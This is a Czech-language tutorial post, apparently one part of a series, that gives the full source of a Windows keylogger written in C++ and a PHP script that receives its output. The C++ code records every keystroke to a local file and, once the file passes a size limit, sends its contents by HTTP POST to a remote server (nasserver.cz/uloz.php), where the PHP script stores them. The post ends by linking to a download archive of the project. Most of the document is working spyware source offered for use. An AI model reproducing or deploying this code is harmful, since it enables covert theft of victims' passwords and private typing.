Nemam ted naladu se o tom dlouze rozkecavat. Snad jen ze ziskavani stistenych klaves je v provizorni verzi. Zde je opet misto pro vas. Zbytek by mel byt jakz takz funkcni. Keylogger loguje klavesy do souboru a kdyz jeho obsah dosahne hranice definovane promennou
maxvel tak cely soubor odesle POSTem nasemu scriptu(
nasserver.cz/uloz.php) a zacne zapisovat "tabula rasa". Zde je uz samotny kod.
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
#include <string>
using namespace std;
void posli(string co, int velikost)
{
WORD wVersionRequested = MAKEWORD(1,1);
WSADATA data;
string text,size;
char buffer[4];
hostent *host;
sockaddr_in serverSock;
int mySocket;
int port;
itoa(velikost + 6, buffer, 10);
size = buffer;
port = 80;
text = ("POST /uloz.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: nasserver.cz\nContent-Length: ") + size + ("\n\nposli=") + co + ("\n\n");
WSAStartup(wVersionRequested, &data);
host = gethostbyname("nasserver.cz");
mySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serverSock.sin_family = AF_INET;
serverSock.sin_port = htons(port);
memcpy(&(serverSock.sin_addr), host->h_addr, host->h_length);
connect(mySocket, (sockaddr *)&serverSock, sizeof(serverSock));
send(mySocket, text.c_str(), text.size() + 1, 0);
closesocket(mySocket);
WSACleanup();
}
string vkctostring(int key){
string vysledek("");
if (key == 13)vysledek = "\n";
if (key == VK_CAPITAL)vysledek = "[Caps]";
if (key == VK_TAB)vysledek = "[TAB]";
if (key == VK_PAUSE)vysledek = "[PAUSE]";
if (key == VK_ESCAPE)vysledek = "[ESC]";
if (key == VK_END)vysledek = "[END]";
if (key == VK_HOME)vysledek = "[HOME]";
if (key == VK_LEFT)vysledek = "[LEFT]";
if (key == VK_UP)vysledek = "[UP]";
if (key == VK_RIGHT)vysledek = "[RIGHT]";
if (key == VK_DOWN)vysledek = "[DOWN]";
if (key == VK_SNAPSHOT)vysledek = "[PRINT]";
if (key == VK_NUMLOCK)vysledek = "[NUM LOCK]";
if (vysledek == "") vysledek = MapVirtualKey(key,2);
return vysledek;
}
void klavesa(int key){
int size, maxvel;
char *buffer;
BYTE smaz(0);
maxvel = 500;
ifstream in(".\\key.txt",ios::ate);
size = in.tellg();
if(size >= maxvel){
buffer = new char [size];
in.seekg (0, ios::beg);
in.read (buffer,size);
posli(buffer,size);
delete[](buffer);
smaz = 1;
}
in.close();
if(smaz){
ofstream del(".\\key.txt");
del.close();
}
ofstream out(".\\key.txt",ios::app);
out << vkctostring(key);
out.close();
}
int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show)
{
int key;
while(1){
for(key=8;key<=190;key++){
if (GetAsyncKeyState(key) == -32767)klavesa(key);
}
}
return (0);
}
A jeste pridam kod php scriptu.
<?
if(!empty($_POST['posli'])){
$file = fopen ("./log.txt", "a");
fwrite($file, $_POST['posli']);
fclose ($file);
}
?>
Zaverem link na archiv s vsemy soubory projektu.
http://sweb.cz/addiam/keylogger2.zip
Tesim se nashledanou u dalsiho dilu. Kde si snad(s vasi pomoci) ukazeme konecnou verzi keyloggeru a pustime se do dalsi utility kterou bude jednoduchy SMTP klient.